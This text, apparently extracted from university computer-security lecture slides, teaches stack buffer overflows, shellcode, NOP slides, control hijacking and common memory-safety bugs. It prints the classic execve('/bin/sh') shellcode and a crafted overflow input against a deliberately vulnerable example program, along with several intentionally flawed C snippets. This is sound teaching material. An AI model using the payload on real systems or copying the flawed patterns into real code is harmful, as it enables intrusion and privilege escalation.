out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */    
  • 18. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000025! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c parse.c   0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)   Uh  oh….    9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */    
  • 19. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! 0xbffff6c4! 0x00000001! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000025! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)   And  when  you  try  to  return  from  parse…   …  SEGFAULT,  since  0x61616161  is  not    a   valid  locaTon  to  return  to.  
  • 20. Basic  Stack  Exploit   • OverwriTng  the  return  address  allows  an  a8acker  to   redirect  the  flow  of  program  control   • Instead  of  crashing,  this  can  allow  arbitrary  code  to  be   executed     – Code  segment  called  “shellcode”   • Example:  the  execve  system  call  is  used  to  execute  a  file   – With  the  correct  permissions,  execve(“/bin/sh”)  can  be  used  to   obtain  a  root-­‐level  shell.   Dawn  Song   20  
  • 21. Shellcode  of  execve   • How  to  develop  shellcode  that  runs  as  execve(“/bin/sh”)?   void  main()  {        char  *name[2];          name[0]  =  "/bin/sh";        name[1]  =  NULL;        execve(name[0],  name,  NULL);   }   0x80002bc  <__execve>:      pushl    %ebp   0x80002bd  <__execve+1>:  movl      %esp,%ebp   0x80002bf  <__execve+3>:  pushl    %ebx    The  procedure  prelude.     0x80002c0  <__execve+4>:  movl      $0xb,%eax    Copy  0xb  (11  decimal)  onto  the  stack.  This  is  the    index  into  the  syscall  table.    11  is  execve.     0x80002c5  <__execve+9>:  movl      0x8(%ebp),%ebx    Copy  the  address  of  "/bin/sh"  into  EBX.     0x80002c8  <__execve+12>:                movl      0xc(%ebp),%ecx    Copy  the  address  of  name[]  into  ECX.     0x80002cb  <__execve+15>:                movl      0x10(%ebp),%edx    Copy  the  address  of  the  null  pointer  into  %edx.     0x80002ce  <__execve+18>:                int        $0x80    Change  into  kernel  mode.   (disassembly  of  execve  call)*   (format  instrucTons  and  data  as  characters)*   *For  more  details,  refer  to  Smashing  the  stack  by  aleph  one   “xebx1fx5e x89x76x08x31xc0x88x46x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcd x80x31xdbx89xd8x40xcdx80xe8xdcxff xffxff/bin/sh”   Dawn  Song   21  
  • 22. arguments   return  address   stack  frame  pointer   buffer   ShellCode       craZed  return  address   buffer   Basic  Stack  Exploit   To  previous  stack    frame  pointer   To    the  instrucTon  at  which    this  funcTon  was  called   “xebx1fx5ex89x76x08x31xc0x88x46x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcd x80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh”   So  suppose  we  overflow  with  a  string  that  looks  like  the  assembly  of:   Shell  Code:  exec(“/bin/sh”)   (exact  shell  code  by  Aleph  One)   When  the  funcTon  exits,  the  user  gets  shell  !!!   Note:  shellcode  runs  in  stack.   arguments   return  address   stack  frame  pointer   buffer   To  previous  stack    frame  pointer   To    the  instrucTon   at  which    this   funcTon  was  called  
  • 23. 0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000019! Basic  Stack  Exploit   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125 .   .   cmd[25,26,27,28]   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . 0xbffff7d8 . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! 0xfffff764! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff xffAAAAxebx1fx5e x89x76x08x31xc0x88x46x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh   (input  file)  
  • 24. Basic  Stack  Exploit   file   GET  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff xffAAAAxebx1fx5e x89x76x08x31xc0x88x46x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh   (input  file)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000019! fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125 .   .   cmd[25,26,27,28]   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . 0xbffff7d8 . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x08048564! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! 0xfffff764! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c 0xbffff760  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     OVERWRITE  POINT!  
  • 25. Basic  Stack  Exploit   file   GET  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff xffAAAAxebx1fx5e x89x76x08x31xc0x88x46x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh   (input  file)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000019! fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125 .   .   cmd[25,26,27,28]   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . 0xbffff7d8 . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x0804f764! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! 0xfffff764! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c 0xbffff760  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     OVERWRITE  POINT!  
  • 26. Basic  Stack  Exploit   file   GET  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff xffAAAAxebx1fx5e x89x76x08x31xc0x88x46x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh   (input  file)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000019! fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125 .   .   cmd[25,26,27,28]   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . 0xbffff7d8 . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x08fff764! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! 0xfffff764! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c 0xbffff760  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     OVERWRITE  POINT!  
  • 27. 0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000019! fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125 .   .   cmd[25,26,27,28]   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]     0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . 0xbffff7d8 . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0xfffff764! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! 0xfffff764! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c 0xbffff760 Basic  Stack  Exploit   file   GET  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff xffAAAAxebx1fx5e x89x76x08x31xc0x88x46x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh   (input  file)   0xbffff764  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     OVERWRITE  POINT!  
  • 28. Basic  Stack  Exploit   file   GET  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff xffAAAAxebx1fx5e x89x76x08x31xc0x88x46x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh   (input  file)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000019! fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125 .   .   cmd[25,26,27,28]   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 in   return  address   stack  frame  ptr   i   shellcode! 0x61616161! 0xfffff764! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! 0xfffff764! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c 0xbffff760 0xbffff764 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . 0xbffff7d8 . . 0xbffff6c4 0xbffff6c0  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c       ACTIVATE  POINT!  
  • 29. Shellcode   -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐   NOP   NOP   .   .   .   NOP   craZed  return  address   buffer   The  NOP  Slide   ‘/x90’   Problem:  how  does  a8acker   determine  ret-­‐address?   SoluTon:  NOP  slide   • Guess  approximate  stack  state  when  the  funcTon   is  called   • Insert  many  NOPs  before  Shell  Code   arguments   return  address   stack  frame  pointer   buffer   To  previous  stack    frame  pointer   To    the  instrucTon   at  which    this   funcTon  was  called  
  • 30. The  NOP  Slide   fp   return  address   stack  frame  ptr   url   header_ok   ?,?,?,buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 shellcode! 0x90909090! 0x90909090! .! .! .! 0x90909090! 0x90909090! 0xfffff764! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAx64xf7xffxff/x90/x90/ x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/ x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/ x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/ x90/x90xebx1fx5ex89x76x08x31xc0x88x46x46x0c xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh   (input  file)   (copy_lower)   0xbffff764  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c    
  • 31. More  on  Stack  Smashing   • Some  complicaTons  on  Shellcode:   – Overflow  should  not  crash  program  before  the   frame’s  funcTon  exits   – Shellcode  may  not  contain  the  ‘0’  character  if  copied   using  strcpy  funcTons.   • Sample  remote  stack  smashing  overflows:   – (2007)  Overflow  in  Windows  animated  cursors  (ANI)   – (2005)  Overflow  in  SymanTc  Virus  DetecTon   Dawn  Song   31  
  • 32. Many  unsafe  libc  funcTons    strcpy  (char  *dest,    const  char  *src)    strcat  (char  *de  st,  const  char  *src)    gets  (char  *s)    scanf  (  const  char  *format,  …  )                      and  many  more.   • “Safe”  libc  versions    strncpy(),  strncat()    are  misleading   – e.g.    strncpy()      may  leave  string  unterminated.   • Windows  C  run  Tme    (CRT):   – strcpy_s  (*dest,  DestSize,  *src):      ensures  proper  terminaTon  
  • 33. arguments   return  address   stack  frame  pointer   buffer   ShellCode       craZed  return  address   buffer   To  previous  stack    frame  pointer   To    the  instrucTon  at  which    this  funcTon  was  called   arguments   return  address   stack  frame  pointer   buffer   General  Control  Hijacking:  Return  Address   Overwrite  Step:  Overwrite  return  address  to  point  to  your  code.   Ac9vate  Step:  Return  out  of  frame  and  into  your  code.   Dawn  Song   33  
  • 34. arguments   return  address   stack  frame  pointer   local  funcTon  pointer   buffer   ShellCode       craZed  local  func9on  pointer   buffer   To  instrucTons  for  a   funcTon   arguments   return  address   stack  frame  pointer   local  funcTon  pointer   buffer   General  Control  Hijacking:  Local  Fn  Ptr   Overwrite  Step:  Overwrite  local  funcTon  pointer  to  point  to  your  code.   Ac9vate  Step:  Call  that  local  funcTon  variable.   Dawn  Song   34  
  • 35. General  Control  Hijacking:   FuncTon  Pointer  in  the  Heap   Overwrite  Step:  Overwrite  entries  in  a  vtable  for  Object  T.   Ac9vate  Step:  Call  any  method  from  Object  T   ptr   data   Object  T   FP1:   FP2:   FP3:   buffer   vtable   method  #1   method  #2   method  #3   ptr   data   Object  T   FP1:   FP2:   FP3:   buffer   vtable   method  #1   method  #2   method  #3   ptr   data   Object  T   craZed  FP1:   craZed  FP2:   craZed  FP3:   buffer   vtable   shellcode   shellcode   shellcode     Dawn  Song   35  
  • 36. General  Control  Hijacking:   FuncTon  Pointer  in  the  Heap   Overwrite  Step:  Overwrite  pointer  to  vtable  on  heap  to  point  to  a  cra$ed  vtable.   Ac9vate  Step:  Call  any  method  from  Object  T   ptr   data   buffer   Object  T   FP1:   FP2:   FP3:   vtable   method  #1   method  #2   method  #3   ptr   data   buffer   FP1:   FP2:   FP3:   craZed  FP1:   cra$ed  FP2:   cra$ed  FP3:   cra$ed  ptr   buffer   vtable   method  #1   method  #2   method  #3   shellcode   shellcode   shellcode   (craZed  vtable)   Dawn  Song   36  
  • 37. A8ack:  return-­‐to-­‐libc  (arc  injecTon)   • Control  hijacking  without  execuTng  code   arguments   return  address   stack  frame  pointer   buffer   (stack)   exec()   prinf()   “/bin/shell”   (libc.so)   Dawn  Song   37  
  • 38.         General  Control  Hijacking   Control  Flow  Pointer   jump  to  address   longjmp  pointer   funcTon  pointer  in  heap   return  address   frame  pointer   excepTon  Handler   funcTon  pointer  as   local  variable   shellcode,  library   (return  to  libc)   Overwrite  Step:   Find  some  way  to  modify  a  Control  Flow  Pointer  to  point  to  your  shellcode,  library   entry  point,  or  other  code  of  interest.   Ac9vate  Step:   Find  some  way  to  ac9vate  that  modified  Control  Flow  Pointer.   expected  code   Dawn  Song   38  
  • 39. Instances  of  Control  Hijacking   Loca9on  in   Memory   Control  Flow   Pointer   How  to  ac9vate   Stack   Return  Address   Return  from   funcTon   Stack   Frame  Pointer   Return  from   funcTon   Stack   FuncTon  Pointers   as  local  variables   Reference  and  call   funcTon  pointer   Stack   ExcepTon  Handler   Trigger  ExcepTon   Heap   FuncTon  pointer  in   heap  (i.e.  method   of  an  object)   Reference  and  call   funcTon  pointer   Anywhere   setjmp  and  longjmp   program  state   buffer   Call  longjmp   Ret  Addr   Frame  Ptr   buf   (stack  frame)   excepTon  handers   local  fn  ptrs   ptr   data   Object  T   FP1:   FP2:   FP3:   vtable   method  #1   method  #2   method  #3   (HEAP)   buf   saved  pointer   …   other    data   longjmp   buf   ptr   data   Object  T   FP1:   FP2:   FP3:   vtable   method  #1   method  #2   method  #3   (HEAP)   buf   Dawn  Song   39  
  • 40. arguments   return  address   stack  frame  pointer   authenTcaTon_variable   buffer   Data  Hijacking   Dawn  Song   40   Normal  Situa9on:   User  types  in  a  password  which  is  stored  in  the  buffer,  and  if  the  user  is  successfully   authenTcated,  the  authenTcaTon_variable  is  set.   Modifying  data  in  a  way  not  intended   Example:  AuthenTcaTon  variable   arguments   return  address   stack  frame  pointer   authenTcaTon_variable   buffer   Exploited  Situa9on:   User  types  in  a  password  which  is  long  enough  to  overflow  buffer  and  into  the   authenTcaTon_variable.  The  user  is  now  unintenTonally  authenTcated.   arguments   return  address   stack  frame  pointer   authenTcaTon_variable   buffer  
  • 41.  So$ware  Security  (II):                Other  types  of  so$ware  vulnerabiliTes   Computer  Security  Course.                                                                                    Dawn  Song   Dawn  Song   41  
  • 42. Common  Coding  Errors   • Input  validaTon  vulnerabiliTes   • Memory  management  vulnerabiliTes   • TOCTTOU  vulnerabiliTes   Dawn  Song   42  
  • 43. Input  validaTon  vulnerabiliTes   • Program  requires  certain  assumpTons  on   inputs  to  run  properly   • Without  correct  checking  for  inputs     – Program  gets  exploited   • Example:     – Buffer  overflow   – Format  string     Dawn  Song   43  
  • 44. Example  I   Dawn  Song   44   1: unsigned int size;! 2: Data **datalist;! 3:! 4: size = GetUntrustedSizeValue();! 5: datalist = (data **)malloc(size * sizeof(Data *));! 6: for(int i=0; i<size; i++) {! 7: datalist[i] = InitData();! 8: }! 9: datalist[size] = NULL;! 10: ...! Example  I  
  • 45. Example  II   • What's  wrong  with  this  code? • Hint  –  memcpy()  prototype:   – void *memcpy(void *dest, const void *src, size_t n); • DefiniTon  of  size_t:  typedef unsigned int size_t; • Do  you  see  it  now?   Dawn  Song   45   1: char buf[80];! 2: void vulnerable() {! 3: int len = read_int_from_network();! 4: char *p = read_string_from_network();! 5: if (len > sizeof buf) {! 6: error(“length too large, nice try!”);! 7: return;! 8: }! 9: memcpy(buf, p, len);! 10: }! Example  II  
  • 46. Implicit  CasTng  Bug   • A8acker  provides  a  negaTve  value  for  len   – if  wonʼt  noTce  anything  wrong   – Execute  memcpy()  with  negaTve  third  arg   – Third  arg  is  implicitly  cast  to  an  unsigned int,  and   becomes  a  very  large  posiTve  int   – memcpy()  copies  huge  amount  of  memory  into  buf,   yielding  a  buffer  overrun!   • A  signed/unsigned  or  an  implicit  casTng  bug   – Very  nasty  –  hard  to  spot   • C  compiler  doesnʼt  warn  about  type  mismatch   between  signed int  and  unsigned int   – Silently  inserts  an  implicit  cast   Dawn  Song   46  
  • 47. Example  III  (Integer  Overflow)   • Whatʼs  wrong  with  this  code?   – No  buffer  overrun  problems  (5  spare  bytes)   – No  sign  problems  (all  ints  are  unsigned)     • But,  len+5  can  overflow  if  len  is  too  large   – If  len = 0xFFFFFFFF,  then  len+5  is  4     – Allocate  4-­‐byte  buffer  then  read  a  lot  more  than  4  bytes   into  it:  classic  buffer  overrun!   • Know  programming  language’s  semanTcs  well  to  avoid   pi~alls   Dawn  Song   47   1: size_t len = read_int_from_network();! 2: char *buf;! 3: buf = malloc(len+5);! 4: read(fd, buf, len);! 5: ...! Example  III  
  • 48. Example  IV   • Use-­‐a$er-­‐free   • Corrupt  memory   h8p://cwe.mitre.org   Dawn  Song   48   1: char* ptr = (char*) malloc(SIZE);! 2: if (err) {! 3: abrt = 1;! 4: free(ptr);! 5: }! 6: ...! 7: if (abrt) {! 8: logError(“operation aborted before commit”, ptr);! 9: }! Example  IV  
  • 49. Example  V   • Double-­‐free  error   • Corrupts  memory-­‐management  data  structure   h8p://owasp.org   Dawn  Song   49   1: char* ptr = (char*) malloc(SIZE);! 2: if (err) {! 3: abrt = 1;! 4: free(ptr);! 5: }! 6: ...! 7: free(ptr);! Example  V  
  • 50. What  are  so$ware  vulnerabiliTes?   • Flaws  in  so$ware     • Break  certain  assumpTons  important  for  security   – What  assumpTons  broken  in  buffer  overflow?   Dawn  Song   50  
  • 51. Why  does  so$ware  have  vulnerabiliTes?   • Programmers  are  humans!   – Humans  make  mistakes!   • Programmers  were  not  security  aware   • Programming  languages  are  not  designed  well  for   security     Dawn  Song   51  
  • 52. What  can  you  do?   • Programmers  are  humans!   – Humans  make  mistakes!     – Use  tools!  (next  lecture)   • Programmers  were  not  security  aware   – Learn  about  different  common  classes  of  coding  errors   • Programming  languages  are  not  designed  well  for   security   – Pick  be8er  languages     Dawn  Song   52